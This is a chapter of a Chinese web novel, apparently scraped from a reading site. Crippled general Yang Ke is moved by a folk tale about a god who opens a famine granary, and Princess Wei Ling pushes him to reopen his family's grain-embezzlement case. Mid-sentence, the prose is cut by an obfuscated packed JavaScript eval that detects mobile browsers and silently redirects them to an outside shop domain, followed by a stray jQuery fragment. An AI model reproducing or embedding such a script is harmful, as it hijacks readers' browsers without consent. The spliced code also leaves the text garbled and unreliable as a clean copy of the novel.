45.不死躯以一换百
作品:《虞美人祭》 他伸出手,接过,沉重地翻开,墨迹上的每一个字就像正从荆棘里伸出来的刺,有生命一般,杨恪目眦欲裂,身躯开始不由自主地轻颤。
“哥……”铁栓手拿白布包住的小饼进来,正要喊,猛见两人在,正要出口的话又生生咽回了嗓子里,溜着墙边儿进了柴房卸干柴。
-
《青天借粮》
入话:“寒锋截断千门泪,一担青稞闭鬼门。非是关林重偃月,人间自有不冻歌。”
正话:
且说宸明十五年秋,天干风燥,旱魃为虐,凉州城已是赤地千里,饿殍载道,饥民卖儿鬻女,易子而食,如飞蝗过世,所过之处草根、树皮尽无,观音土亦掏为坟坑。
上天降灾于世,欲除尽天下刍狗!
人心头的最后一把火熄灭,人间就要陷入无边的永夜,在饥饿、酷寒、无望中,铸成炼狱。
有句话说得好,每逢无力回天之时,都会诞生一位济世之主,在夕阳渐渐坠入山下,夜幕降临之际,却听闻天地间一声!
“开仓。”
洪钟震四宇,如金石,如霹雳,直斩青天!
“开仓!”
一神君破尘而来,虎躯如山,目似雷霆,一柄青龙翻浪长刀,手起刀落,斩杀旱魃,咔——!斩开了粮仓之锁。
粮仓大门轰然大开,黄金、白银样的米潮涌般倾斜而出,涌入每家见底的米缸,如一场大雨,浇灌久旱后龟裂的赤土,死土之上奇迹般作物狂生,转瞬抽根发芽、如擎天巨树,可为荫,大蔽苍生!
世人得救矣!
然而——
所放之粮本应上贡天神,下拜地公,岂是芸芸黎民可染指。
更是有苛约于前,此粮,擅动者,斩立决。
神君乃明知不可为而为之,舍生取义。饱腹百姓跪于神君前哀嚎不绝,远隔万里向天神三拜九叩,直至天明,头破血流,只求免神君一死。
天神高坐堂上,冷面俯瞰,直叫无一人敢言。
却见那神君不卑不亢,道,“天子之命固不可违,然天命是命,百姓之命,亦为命!”
“我愿自斩,以一人、换万人。”
万民悲恸流涕。
……
欲知后事如何,请听下回分解。
-
打湿了纸页,话本薄薄的,却沉甸甸的,后面还有好几话。
杨恪吸吸鼻子,一只手抹去眼泪,收拾好自己的情绪,忙不迭抬起头,“能不能,在我这放几日,看完再还给你。”
父亲守的边陲……就在凉州城旁啊,那是他儿时生长的地方,是父亲誓死守护的地方……
方才他的面部被发丝遮住,低垂的头颅下有泪线在空中划过,迅速砸在纸面上,卫瓴别开了头,将视线默默落在别处,心下无声叹了口气。
若不是忍不住,杨恪一定也不想在她面前哭,毕竟。
他哪怕被长枪贯胸,也没掉一滴眼泪。
杨恪抬起头时,卫瓴正静如秋石地看小刺猬,伸出手朝它温柔招了招,并没看到他刚才掉眼泪的狼狈、羞耻之相,杨恪松了口气,又迅速用袖口将脸擦干了,装作无事发生。
“你留着吧,我已经看完了。”卫瓴的话音如袅袅茶烟,无形弥散在空气里,让人心中感到莫名的宁静。
静下去,才好看清脚下的路。
才好收拾起行囊,义无反顾、不问东西地赶往下一站厮杀,哪怕向死而生,也要哭着笑,笑着哭,为了一场盛大的死亡,为了一场蓄谋已久的重逢。
再见到,记忆中历历在目的音容笑貌。
她没向他看去,“这本是差人去凉州记来的,只可惜内容不全,也只是众多版本之一,口口相传,传到手中,便是眼下这样了,内容失了真,情却不假,字字泣血。”
“这故事的结局有很多,百姓都希望神君最终能结善果,他们左右不了铁律世规,于是在口头不尽其烦地为他拟了成千上万个结局,人世间的美满不止一种,他们却想让神君全都有。”
但话本终归是话本,无论以后如何,杨家的下场永远是悲色,死去的人不会再回来了。
杨恪将书合上,贴着胸口揣入怀内,手指摸索了好几下书角,才将手放下。
他开口,“殿下。”
语气十分笃定,“你给我这个,我知你不是在劝学。”
他的目光和破城那天一样,如开了刃的利刃,是了,他还有未竟之事,污名未洗清,他有什么脸去死,他有什么资格溃烂,他哪怕受到比现在残酷一万倍的惩罚,也是他应承受的,废掉的双腿,不是开脱他停滞不前的借口,而是警醒,是九泉下的父亲、母亲、阿姐、兄长,对他时时刻刻的耳提面命!
他怎能停?!
他怎能停?!!
他们还在地下死不瞑目啊。
卫瓴如芒的目光扫来。
仿佛有藤蔓一样的东西在蛇行、侵略,杨恪在她那双美目里看到了——野心。
杨恪恍然大悟,这几天的细心温柔,根本不是她的全貌,和她面上的假面一样,平易近人表象下,那颗雷厉果决的心才是真容。
她本就没打算用一日日流水般的悉心照料渗透、打动他,本就没想通过细水流长的感化,让他重新拾起活着的意义和责任。
那些在她眼中也许不过是不屑的下策吧,直切要害地撼动根基,才是她的处世之道。
他怎该忘了,她姓卫啊。
只见,卫瓴勾唇一笑,坦诚地说,“我自然不是在劝学,你也不是吴下阿蒙。”
她的语气分明和先前毫无区别,杨恪却开始重新去观察、认识眼前这个表面如静水内里却暗流涌动的女孩儿。
“蛮力上者为士,谋略佳者做将,运筹帷幄、心有乾坤,才配为统领三军之帅。孙膑挖了膝骨,不能行地,写了《孙子兵法》,杨恪,你要做的——难道不是将帅吗?”
卫瓴放在膝头的手抬起,隔空在他身上不轻不重地一点。
他捏紧了拳头,站起身。
“你既弄到了话本,一定不是毫无准备,便来找我,想来是找到了什么,但是……当初都百口莫辩,如今已死无对证,此案想有转机,难如登天。”
本以为卫瓴会反驳他两句,结果她无奈道,“确然,此案难翻。”
“?”杨恪眉头皱起来,他分明在试探她是不是有能力和决心掺和进这浑水,她难道没听出来吗?
卫瓴不紧不慢接着说,“当初青州城破,刑部护送走了大批案卷,杨家满门尚未问斩,如此重要的将军暗吞军粮案,案子还没尘埃落定,案卷竟然在途中遗失了,若要移走,按理这本该是保护的首重。无独有偶,大理寺审讯文书,更是让肃军一把火烧了。”
案卷本就无法随意调出,经过破城之役,无论是刑部还是大理寺,都比以往戒备越发森严,废了好一番功夫,才派人潜进去了存放案卷之地,结果苦寻无果,最终在遗失备案录
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710274|182645||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上找到了,一并丢了的还有几本重要案卷。
比起只丢了一本儿,似乎这样更合乎常理,不至于叫人轻易便联想到此事另有蹊跷。
若不是前脚丢了案卷,后脚就有人畏罪自杀,活口除得太干净利索,卫瓴还不敢确认有个人在背后动手脚。
小人难防,并不是因为他心思有多缜密,而是心狠手辣、不择手段啊……
卫瓴眸底幽深,分明在夸赞,却让人不寒而栗,“好一场大火,好一个劲敌突袭。”眼底漫上一缕讥讽,“天时、地利,不知,平完了这些年多少烂账。”
她本没打算现在就重查杨家的案子,谁叫背后的那个人没藏住尾巴,卫瓴眼底漫上一丝自己都未察觉的冷漠、狠厉。
朝堂上,稍一点不起眼的细枝末节,就是万劫不复。
看见她的眼神,杨恪不知道为什么,后背的寒毛簌簌立起来,他问,“那现在要怎么办?我已经不用天天喝药针灸了。”
为了证明确实如此,他刻意抬起胳膊转了转,“不用则费,先前不过是因为我不用四肢,才萎缩无力,哪怕是路途上我也能边调查边训练恢复,不耽误进程,不用顾及我吃不消,要是连这点儿都抗不了,便是死了,也是我办事不利,死有余辜,当作死了个畜牲,与你的决策无关。”
“那先随我回趟儿漱园吧。”
杨恪:“好!是有什么重要线索吗?”
卫瓴:“不是……我要回去吃饭,你不饿吗?而且、这小院子我有些呆不惯……”
双眸比方才清澄很多,仿佛已经在心里琢磨要吃什么了。
“啊?”杨恪没反应过来,心说:不是在说查案的事儿吗……“可……”
“针灸用不用停,要听我的,你如何感觉。”她摇摇头,意思不言而喻,“那日连枝要是晚点儿发现你,你的腿,就被獾狗吃完了,这伤可不是你说的不用则废如此简单,差点儿,就再也站不起来了。”
她掀开盖在身上保暖的锦被,站起身,将医蛊杂论放在藤椅里。
“我没事儿,不过是少了几两肉,战场上削掉半……”杨恪还想牵强解释负伤根本不影响他即刻便赴身行动。
“杨恪。”
卫瓴不赞同地转过身来,表情已有些不悦,声音轻而不失威严,“这……也是我的决策。”
她理解他此刻内心的焦灼,可他若是压不下去,控制不住这种急躁,他早晚会因为这份躁丧命。
性情本无错,可在权力斗争里是不可饶恕的大忌。
在动身凉州之前,她必须要先压压他的性子。
杨恪一下哑口无言。
习武之人尚强,他一贯只对比自己强壮、勇猛之人刮目相待,卫瓴自是与强壮、勇猛无关,甚至,在他面前算得上娇小,清癯纤瘦,扶柳之姿。
可是她就那样微仰着头,静静地看着他,身上就有一种奇妙的力量,让他想不遗余力、全然地——
去相信她、去追随她。
“虽说我希望你有谋略,但我并不缺智囊。”她轻摇头,声音不高,“你不在意自己的身体,难道是觉得舍了这一身武艺,以后单凭头脑,便可替你杨家洗清冤屈了?那我自诩谋算在你之上,可想到你想不到之处,有时候,认清自己的长处,才是最重要的……所以,请尽可能养好身子。”
她向屋内走去,回过来头,站在光线将要消失的地方。
“还有,我不希望你以后,走两步……便要坐轮椅。”

